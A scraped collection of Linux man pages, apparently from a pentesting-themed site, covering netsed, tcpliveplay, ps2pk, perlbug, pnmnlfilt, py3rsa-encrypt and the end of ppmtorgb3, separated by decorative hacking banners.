ppmtorgb3 constructs the output filenames by taking the input filename, stripping off any extension, and appending .red, .grn, .blu. For example, separating lenna.ppm would result in lenna.red, lenna.grn, and lenna.blu. If the input comes from stdin, the names are noname.red, noname.grn, and noname.blu.

OPTIONS

There are no command line options defined specifically for ppmtorgb3, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

rgb3toppm(1) , pamchannel(1) , ppmtopgm(1) , pgmtoppm(1) , ppm(1) , pgm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtorgb3.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1323 - Linux cli command netsed

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netsed and provides detailed information about the command netsed, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netsed.

NAME 🖥️ netsed 🖥️

a network stream editor.

SYNOPSIS

netsed {proto} {lport} {rhost} {rport} {rule} [rule …]

DESCRIPTION

netsed is a small and handy utility to alter, in real time, the contents of packets forwarded in a network stream, or in a datagram connection. When called with a set of replacement rules, these rules are tested for applicability to each packet entering in either direction.

ARGUMENTS

proto

Determines the protocol for the desired connection: “tcp”, “TCP”, “udp”, or “UDP”.

lport

The local listening port for the connection. A service name, or a numerical port value, is acceptable.

rhost

The remote host with whom the connection is desired. Resolvable host names and IPv4/IPv6 addresses are equally usable.

As a special case, assigning “0” to rhost will insert the kernels knowledge of the targeted host address, in a situation where a netfilter rule is redirecting traffic. This happens when running a transparent proxy service.

rport

The remote port to connect to. A service name, or a numerical port value, is acceptable.

Also here a value “0” will be acceptable to arrange a transparent proxy service, as the kernels tracking will provide the intended remote port number.

rule

At least one replacement rule is mandatory. The general syntax for this is:

s/pat1/pat2[/flag]

The effect is to replace the text that matches pat1 with the expansion of pat2. The optional parameter flag is a composite containing a numerical value limiting the maximal number of times the rule can be applied, or a direction semaphore indicating that the rule applies only to incoming (coded as I or i) or outgoing (O or o) traffic. One could say that the rule expires after num occurrences.

The rules are applied in succession to all passing packets, flowing in either direction. As soon as a rule has been expired, it is removed from the collection of active rules for the current connection. Observe that any counter is started as the connection is initiated, running as long as the connection is alive.

This holds directly for TCP connections, whereas for UDP a connection is considered to consist of incoming data on fixed address and fixed port together with any response from a remote server. When no datagrams have been transmitted for a period of 30 seconds, the UPD connection is seen as closed.

A single rule is limited to act on individual packets; a pattern can not match across packet boundaries.

Using HTTP-like escape sequences for hexadecimal values, all eight-bit characters are viable in the patterns. Thus the standard character pair CRNL would code as “%0a%0d”. In a pattern, the percentage sign itself must be escaped by duplication. Thus a string “%%” is interpreted in a pattern as a literal percentage sign.

EXAMPLES

A handful replacement rules are handy as examples.

s/andrew/mike

Replace every occurrence of the string “andrew” with “mike”, in every passing packet.

s/andrew/mike/1

Replace only the first occurrence of the string “andrew” for “mike” in each packet. Any repetition is unaltered, unless a further rule specifies some replacement.

s/andrew/mike%00%00

Replace in each packet every occurrence of the string “andrew” with “mike��” . The padding with two null bytes ensures an unaltered packet length, which might be essential at times.

s/%%/%2f/20

Replace the first twenty occurrences of the percentage character % with slashes /.

s/Rilke/Proust/o, s/Proust/Rilke/i

Let Rilke travel incognito as Proust, i.e., on outgoing packets replace Rilkes real sirname by Proust, then restore it again in any incoming packet.

AUTHOR

This text was initially compiled by Mats Erik Andersson as a Docbook source from the usage printout. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, version 2, or of a later version.

COPYRIGHT

Copyright © 2010-2014 Mats Erik Andersson

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1324 - Linux cli command tcpliveplay

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpliveplay and provides detailed information about the command tcpliveplay, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpliveplay.

NAME 🖥️ tcpliveplay 🖥️

Replays network traffic stored in a pcap file on live networks using new TCP connections

SYNOPSIS

tcpliveplay [-flags] [-flag [value]] [–option-name[[=| ]value]] <eth0/eth1> <file.pcap> <Destination IP [1.2.3.4]> <Destination mac [0a:1b:2c:3d:4e:5f]> <‘random’ dst port OR specify dport #>

This program, ’tcpliveplay’ replays a captured set of packets using new TCP connections with the captured TCP payloads against a remote host in order to do comprehensive vulnerability testing.

DESCRIPTION

The basic operation of tcpliveplay is it rewrites the given pcap file in a scheduled event format and responds with the appropriate packet if the remote host meets tcp protocal’s SEQ/ACK expectation. Once expectations are met, then the local packets are sent with the same payload except with new tcp SEQ & ACK numbers meeting the response from the remote hose.

The input pcap file are rewritten to start at the first encounter of the SYN packet for correct operation making this packet be the first action in the event schedule of local host doing the replay.

For more details, please see the Tcpreplay Manual at: http://tcpreplay.appneta.com

OPTIONS

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Print version information.

Display less usage information and exit.

Display usage information and exit.

Pass the extended usage information through a pager.

Save the option state to cfgfile. The default is the last configuration file listed in the OPTION PRESETS section, below. The command will exit after updating the config file.

Load options from cfgfile. The no-load-opts form will disable the loading of earlier config/rc/ini files. –no-load-opts is handled early, out of order.

OPTION PRESETS

Any option that is not marked as not presettable may be preset by loading values from configuration (“RC” or “.INI”) file(s). The homerc file is “$$/”, unless that is a directory. In that case, the file “.tcpliveplayrc” is searched for within that directory.

FILES

See OPTION PRESETS for configuration files.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

A specified configuration file could not be loaded.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2012 Yazan Siam For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com

COPYRIGHT

Copyright (C) 2012 Yazan Siam all rights reserved. This program is released under the terms of the Modified Berkeley Software Distribution License.

NOTES

This manual page was AutoGen-erated from the tcpliveplay option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1325 - Linux cli command ps2pk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2pk and provides detailed information about the command ps2pk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2pk.

NAME 🖥️ ps2pk 🖥️

creates a TeX pkfont from a type1 PostScript font

SYNOPSIS

ps2pk [ -v ] [ -eenc ] [ -Xxres ] [ -Eexpansion ] [ -Sslant ] [ -Ppointsize ] [ -Rbaseres ] [ -raspectratio ] [ -Yyres ] [ -aAFMfile ] [ -mmodename ] type1 [pkfont]

DESCRIPTION

This program renders a given type1 PostScript font at a given pointsize (default 10.0 points) and resolution (default 300dpi) into a TeX pkfont.

To generate the pkfont ps2pk needs a valid type1 font file (for example Utopia-Regular, Utopia-Regula.pfb or Utopia-Regula.pfa) and its corresponding AFM-file (Utopia-Regular.afm) with the font metrics. The program accepts both the binary type1 format (Utopia-Regula.pfb) and its ASCII equivalent (Utopia-Regular or Utopia-Regula.pfa). To locate the files, ps2pk uses the kpathsea library (see the info page on kpathsea). Additionally, pfb and pfa files are searched for in the directory specified in the environment variable T1INPUTS, and afm files are searched in AFMFONTS, if they are set (the -v flag will report which filenames are looked for).

The program will make a pkfont in which the character codes are derived from their AFM (Adobe Font Metrics) defined values. This can be overruled by specifying an explicit encoding file via the -e option. The encoding file enc should contain a valid PostScript encoding containing PostScript names like /hyphen. Here is an incomplete example (see afm2tfm for complete syntax):

% This is the EC encoding. /ECEncoding [ % now 256 chars follow % 0x00 /grave /acute /circumflex /tilde /dieresis /hungarumlaut /ring /caron /breve /macron /dotaccent /cedilla /ogonek /quotesinglbase /guilsinglleft /guilsinglright

  (Rest of lines omitted.)

% 0xF0
  /eth /ntilde /ograve /oacute /ocircumflex /otilde
  /odieresis /oe /oslash /ugrave /uacute /ucircumflex
  /udieresis /yacute /thorn /germandbls ] def

Options and arguments:

-aAFMfile
Overrules the name that is used to locate the AFM file.

-eenc
Name of a file containing an encoding scheme (default - the encoding named in the AFM-file is used). The actual PostScript name of the encoding scheme is written as a “special” at the end of the pkfont.

-Eextension
The extension factor (real value, default 1.0).

-mmodename
A modename such as would be used by METAFONT (default “Unknown mode”).

-Ppointsize
The desired pointsize (real value, default 10.0 points).

-Rbaseres
The desired base resolution (integer value, default 300 dpi). If this differs from the value of xres, the appropriate magnification will be shown in the “specials” at the end of the pkfont. If possible, this will be expressed as a magstep, otherwise as a real number. For example, a pkfont with an xres of 329, using the default base resolution of 300, will include the “special” text “mag=magstep(0.5)” at the end of the font.

-raspectratio
The desired aspect ratio (expression, integerY/integerX, default 300/300). This will be shown in the “specials” at the end of the pkfont. Setting the aspect ratio creates a value for yres but an explicit yres value will take precedence. Argument must be in "" if spaces are left around `/'.

-Sslant
The slant (real value, default 0.0).

-Xxres
The resolution in the X direction (integer value, default 300 dpi).

-Yyres
The resolution in the Y direction (integer value, default the value of xres). If yres differs from xres, a “special” text giving the aspect ratio will be written at the end of the pkfont.

-v
Verbose flag. (Tells what the program is doing.)

type1
The name of the PostScript type1 font. The name of the AFM-file will be constructed from this name by removing the extension (if supplied) and adding “.afm”. The PostScript “FontName” is extracted from the AFM-file and written into a “special” at the end of the pkfont.

[pkfont]
The name of the resulting pkfont can be overruled with this name. The default name of pkfont is derived from the basename of the type1 font, the pointsize and xres. For example `ps2pk -P17.28 Utopia-Regular’ will result in `Utopia-Regular17.300pk’. An explicit value for the name of the pkfont is necessary when the type1 font name already shows the point size, otherwise the pointsize value is catenated on to the pkfont basename which is usually not what is wanted.

The following PK “specials” provide an internal check on the characteristics of the pkfont, in accordance with the recommendations of the TeX Working Group on the TeX Directory Standard (TWG-TDS):
“fontid=FontName”, “codingscheme=Encoding”, “fontfacebyte”, “mag”, “mode=(ps2pk)modename”, “pixels-per-inch”, and “aspect-ratio” if it is other than unity.

ACKNOWLEDGEMENT

This program uses the Type1 hinting and rendering software IBM has donated to the X Consortium.

SEE ALSO

`METAFONT: The Program', Donald Knuth.
`The GFtoPK processor', belonging to the METAFONTware.
`Adobe Font Metric Files', Version 3.0, PostScript Developer
Support Group.
afm2tfm(1)
pk2bm(1)
kpsewhich(1)
info kpathsea

VERSION

1.4 (January 1994)

AUTHOR

Piet Tutelaers, modified for ps2pkm by Pierre A. Mackay. This manpage was adapted to teTeX by Frank Kuester.

Maintained in TeX Live; please send bug reports or other correspondence to [email protected] (https://lists.tug.org/tex-k).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1326 - Linux cli command perlbug

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perlbug and provides detailed information about the command perlbug, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perlbug.

NAME 🖥️ perlbug 🖥️

how to submit bug reports on Perl

SYNOPSIS

perlbug

perlbug [ -v ] [ -a address ] [ -s subject ] [ -b body | -f inputfile ] [ -F outputfile ] [ -r returnaddress ] [ -e editor ] [ -c adminaddress | -C ] [ -S ] [ -t ] [ -d ] [ -h ] [ -T ]

perlbug [ -v ] [ -r returnaddress ] [ -ok | -okay | -nok | -nokay ]

perlthanks

DESCRIPTION

This program is designed to help you generate bug reports (and thank-you notes) about perl5 and the modules which ship with it.

In most cases, you can just run it interactively from a command line without any special arguments and follow the prompts.

If you have found a bug with a non-standard port (one that was not part of the standard distribution), a binary distribution, or a non-core module (such as Tk, DBI, etc), then please see the documentation that came with that distribution to determine the correct place to report bugs.

Bug reports should be submitted to the GitHub issue tracker at <https://github.com/Perl/perl5/issues>. The [email protected] address no longer automatically opens tickets. You can use this tool to compose your report and save it to a file which you can then submit to the issue tracker.

In extreme cases, perlbug may not work well enough on your system to guide you through composing a bug report. In those cases, you may be able to use perlbug -d or perl -V to get system configuration information to include in your issue report.

When reporting a bug, please run through this checklist:

What version of Perl you are running?
Type perl -v at the command line to find out.

Are you running the latest released version of perl?
Look at <http://www.perl.org/> to find out. If you are not using the latest released version, please try to replicate your bug on the latest stable release. Note that reports about bugs in old versions of Perl, especially those which indicate you haven’t also tested the current stable release of Perl, are likely to receive less attention from the volunteers who build and maintain Perl than reports about bugs in the current release.

Are you sure what you have is a bug?
A significant number of the bug reports we get turn out to be documented features in Perl. Make sure the issue you’ve run into isn’t intentional by glancing through the documentation that comes with the Perl distribution. Given the sheer volume of Perl documentation, this isn’t a trivial undertaking, but if you can point to documentation that suggests the behaviour you’re seeing is wrong, your issue is likely to receive more attention. You may want to start with perldoc perltrap for pointers to common traps that new (and experienced) Perl programmers run into. If you’re unsure of the meaning of an error message you’ve run across, perldoc perldiag for an explanation. If the message isn’t in perldiag, it probably isn’t generated by Perl. You may have luck consulting your operating system documentation instead. If you are on a non-UNIX platform perldoc perlport, as some features may be unimplemented or work differently. You may be able to figure out what’s going wrong using the Perl debugger. For information about how to use the debugger perldoc perldebug.

Do you have a proper test case?
The easier it is to reproduce your bug, the more likely it will be fixed – if nobody can duplicate your problem, it probably won’t be addressed. A good test case has most of these attributes: short, simple code; few dependencies on external commands, modules, or libraries; no platform-dependent code (unless it’s a platform-specific bug); clear, simple documentation. A good test case is almost always a good candidate to be included in Perl’s test suite. If you have the time, consider writing your test case so that it can be easily included into the standard test suite.

Have you included all relevant information?
Be sure to include the exact error messages, if any. “Perl gave an error” is not an exact error message. If you get a core dump (or equivalent), you may use a debugger (dbx, gdb, etc) to produce a stack trace to include in the bug report. NOTE: unless your Perl has been compiled with debug info (often -g), the stack trace is likely to be somewhat hard to use because it will most probably contain only the function names and not their arguments. If possible, recompile your Perl with debug info and reproduce the crash and the stack trace.

Can you describe the bug in plain English?
The easier it is to understand a reproducible bug, the more likely it will be fixed. Any insight you can provide into the problem will help a great deal. In other words, try to analyze the problem (to the extent you can) and report your discoveries.

Can you fix the bug yourself?
If so, that’s great news; bug reports with patches are likely to receive significantly more attention and interest than those without patches. Please submit your patch via the GitHub Pull Request workflow as described in perldoc perlhack. You may also send patches to [email protected]. When sending a patch, create it using git format-patch if possible, though a unified diff created with diff -pu will do nearly as well. Your patch may be returned with requests for changes, or requests for more detailed explanations about your fix. Here are a few hints for creating high-quality patches: Make sure the patch is not reversed (the first argument to diff is typically the original file, the second argument your changed file). Make sure you test your patch by applying it with git am or the patch program before you send it on its way. Try to follow the same style as the code you are trying to patch. Make sure your patch really does work (make test, if the thing you’re patching is covered by Perl’s test suite).

Can you use “perlbug” to submit a thank-you note?
Yes, you can do this by either using the -T option, or by invoking the program as perlthanks. Thank-you notes are good. It makes people smile.

Please make your issue title informative. “a bug” is not informative. Neither is “perl crashes” nor is “HELP!!!”. These don’t help. A compact description of what’s wrong is fine.

Having done your bit, please be prepared to wait, to be told the bug is in your code, or possibly to get no reply at all. The volunteers who maintain Perl are busy folks, so if your problem is an obvious bug in your own code, is difficult to understand or is a duplicate of an existing report, you may not receive a personal reply.

If it is important to you that your bug be fixed, do monitor the issue tracker (you will be subscribed to notifications for issues you submit or comment on) and the commit logs to development versions of Perl, and encourage the maintainers with kind words or offers of frosty beverages. (Please do be kind to the maintainers. Harassing or flaming them is likely to have the opposite effect of the one you want.)

Feel free to update the ticket about your bug on <https://github.com/Perl/perl5/issues> if a new version of Perl is released and your bug is still present.

OPTIONS

-a
Address to send the report to instead of saving to a file.

-b
Body of the report. If not included on the command line, or in a file with -f, you will get a chance to edit the report.

-C
Don’t send copy to administrator when sending report by mail.

-c
Address to send copy of report to when sending report by mail. Defaults to the address of the local perl administrator (recorded when perl was built).

-d
Data mode (the default if you redirect or pipe output). This prints out your configuration data, without saving or mailing anything. You can use this with -v to get more complete data.

-e
Editor to use.

-f
File containing the body of the report. Use this to quickly send a prepared report.

-F
File to output the results to. Defaults to perlbug.rep.

-h
Prints a brief summary of the options.

-ok
Report successful build on this system to perl porters. Forces -S and -C. Forces and supplies values for -s and -b. Only prompts for a return address if it cannot guess it (for use with make). Honors return address specified with -r. You can use this with -v to get more complete data. Only makes a report if this system is less than 60 days old.

-okay
As -ok except it will report on older systems.

-nok
Report unsuccessful build on this system. Forces -C. Forces and supplies a value for -s, then requires you to edit the report and say what went wrong. Alternatively, a prepared report may be supplied using -f. Only prompts for a return address if it cannot guess it (for use with make). Honors return address specified with -r. You can use this with -v to get more complete data. Only makes a report if this system is less than 60 days old.

-nokay
As -nok except it will report on older systems.

-p
The names of one or more patch files or other text attachments to be included with the report. Multiple files must be separated with commas.

-r
Your return address. The program will ask you to confirm its default if you don’t use this option.

-S
Save or send the report without asking for confirmation.

-s
Subject to include with the report. You will be prompted if you don’t supply one on the command line.

-t
Test mode. Makes it possible to command perlbug from a pipe or file, for testing purposes.

-T
Send a thank-you note instead of a bug report.

-v
Include verbose configuration data in the report.

AUTHORS

Kenneth Albanowski (<[email protected]>), subsequently doctored by Gurusamy Sarathy (<[email protected]>), Tom Christiansen (<[email protected]>), Nathan Torkington (<[email protected]>), Charles F. Randall (<[email protected]>), Mike Guy (<[email protected]>), Dominic Dunlop (<[email protected]>), Hugo van der Sanden (<[email protected]>), Jarkko Hietaniemi (<[email protected]>), Chris Nandor (<[email protected]>), Jon Orwant (<[email protected]>, Richard Foley (<[email protected]>), Jesse Vincent (<[email protected]>), and Craig A. Berry (<[email protected]>).

SEE ALSO

perl (1), perldebug (1), perldiag (1), perlport (1), perltrap (1), diff (1), patch (1), dbx (1), gdb (1)

BUGS

None known (guess what must have been used to report them?)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1327 - Linux cli command pnmnlfilt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmnlfilt and provides detailed information about the command pnmnlfilt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmnlfilt.

.

NAME 🖥️ pnmnlfilt 🖥️

non-linear filters: smooth, alpha trim mean, optimal estimation smoothing, edge enhancement.

SYNOPSIS

pnmnlfilt alpha radius [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmnlfilt produces an output image where the pixels are a summary of multiple pixels near the corresponding location in an input image.

This program works on multi-image streams.

This is something of a swiss army knife filter. It has 3 distinct operating modes. In all of the modes pnmnlfilt examines each pixel in the image and processes it according to the values of it and its surrounding pixels. Rather than using a square block of surrounding pixels (e.g. the subject pixel and its 8 immediate neighbors, in a 3x3 square), pnmnlfilt uses 7 hexagonal areas. You choose the size of the hexagons with the radius parameter. A radius value of 1/3 means that the 7 hexagons essentially fit into the subject pixel (ie. there will be no filtering effect). A radius value of 1.0 means that the 7 hexagons essentially cover the 3x3 immediate neighbor square.

Your choice of “alpha” parameter selects among the three modes.

Alpha trimmed mean filter (0.0 <= alpha <= 0.5)

The value of the center pixel will be replaced by the mean of the 7 hexagon values, but the 7 values are sorted by size and the top and bottom alpha portion of the 7 are excluded from the mean. This implies that an alpha value of 0.0 gives the same sort of output as a normal convolution (ie. averaging or smoothing filter), where radius will determine the “strength” of the filter. A good value to start from for subtle filtering is alpha = 0.0, radius = 0.55 For a more blatant effect, try alpha 0.0 and radius 1.0

An alpha value of 0.5 will cause the median value of the 7 hexagons to be used to replace the center pixel value. This sort of filter is good for eliminating “pop” or single pixel noise from an image without spreading the noise out or smudging features on the image. Judicious use of the radius parameter will fine tune the filtering. Intermediate values of alpha give effects somewhere between smoothing and “pop” noise reduction. For subtle filtering try starting with values of alpha = 0.4, radius = 0.6 For a more blatant effect try alpha = 0.5, radius = 1.0

Optimal estimation smoothing. (1.0 <= alpha <= 2.0)

This type of filter applies a smoothing filter adaptively over the image. For each pixel the variance of the surrounding hexagon values is calculated, and the amount of smoothing is made inversely proportional to it. The idea is that if the variance is small then it is due to noise in the image, while if the variance is large, it is because of “wanted” image features. As usual the radius parameter controls the effective radius, but it probably advisable to leave the radius between 0.8 and 1.0 for the variance calculation to be meaningful. The alpha parameter sets the noise threshold, over which less smoothing will be done. This means that small values of alpha will give the most subtle filtering effect, while large values will tend to smooth all parts of the image. You could start with values like alpha = 1.2, radius = 1.0 and try increasing or decreasing the alpha parameter to get the desired effect. This type of filter is best for filtering out dithering noise in both bitmap and color images.

Edge enhancement. (-0.1 >= alpha >= -0.9)

This is the opposite type of filter to the smoothing filter. It enhances edges. The alpha parameter controls the amount of edge enhancement, from subtle (-0.1) to blatant (-0.9). The radius parameter controls the effective radius as usual, but useful values are between 0.5 and 0.9. Try starting with values of alpha = 0.3, radius = 0.8

Combination use.

The various modes of pnmnlfilt can be used one after the other to get the desired result. For instance to turn a monochrome dithered image into a grayscale image you could try one or two passes of the smoothing filter, followed by a pass of the optimal estimation filter, then some subtle edge enhancement. Note that using edge enhancement is only likely to be useful after one of the non-linear filters (alpha trimmed mean or optimal estimation filter), as edge enhancement is the direct opposite of smoothing.

For reducing color quantization noise in images (ie. turning .gif files back into 24 bit files) you could try a pass of the optimal estimation filter (alpha 1.2, radius 1.0), a pass of the median filter (alpha 0.5, radius 0.55), and possibly a pass of the edge enhancement filter. Several passes of the optimal estimation filter with declining alpha values are more effective than a single pass with a large alpha value. As usual, there is a tradeoff between filtering effectiveness and losing detail. Experimentation is encouraged.

OPTIONS

There are no command line options defined specifically for pnmnlfilt, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

REFERENCES

The alpha-trimmed mean filter is based on the description in IEEE CG&A May 1990 Page 23 by Mark E. Lee and Richard A. Redner, and has been enhanced to allow continuous alpha adjustment.

The optimal estimation filter is taken from an article “Converting Dithered Images Back to Gray Scale” by Allen Stenger, Dr Dobb’s Journal, November 1992, and this article references “Digital Image Enhancement and Noise Filtering by Use of Local Statistics”, Jong-Sen Lee, IEEE Transactions on Pattern Analysis and Machine Intelligence, March 1980.

The edge enhancement details are from pgmenhance(1) , which is taken from Philip R. Thompson’s “xim” program, which in turn took it from section 6 of “Digital Halftones by Dot Diffusion”, D. E. Knuth, ACM Transaction on Graphics Vol. 6, No. 4, October 1987, which in turn got it from two 1976 papers by J. F. Jarvis et. al.

PARAMETERS

The parameters are:

alpha
The alpha value (described above), in decimal. May be fractional.

radius
The radius (described above), in decimal. May be fractional.

SEE ALSO

pgmenhance(1) , pnmconvol(1) , pnm(1)

AUTHOR

Graeme W. Gill [email protected]

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmnlfilt.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1328 - Linux cli command py3rsa-encrypt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3rsa-encrypt and provides detailed information about the command py3rsa-encrypt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3rsa-encrypt.

NAME 🖥️ py3rsa-encrypt 🖥️

encrypt** - encrypt a file

SYNOPSIS

py3rsa-encrypt [OPTION]… PUBLIC_KEY

DESCRIPTION

Encrypt a file. The file must be shorter than the key length in order to be encrypted.

OPTIONS

-h, –help
show help message and exit

-i INPUT, **–input=**INPUT
name of the file to encrypt. read from stdin if not specified.

-i OUTPUT, **–output=**OUTPUT
name of the file to write the encrypted file to. write to stdout if this option is not present.

**–keyform=**KEYFORM
key format of the public key - default PEM

AUTHOR

py3rsa-encrypt was written by Sybren A. Stuvel <sybren AT stuvel.eu>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

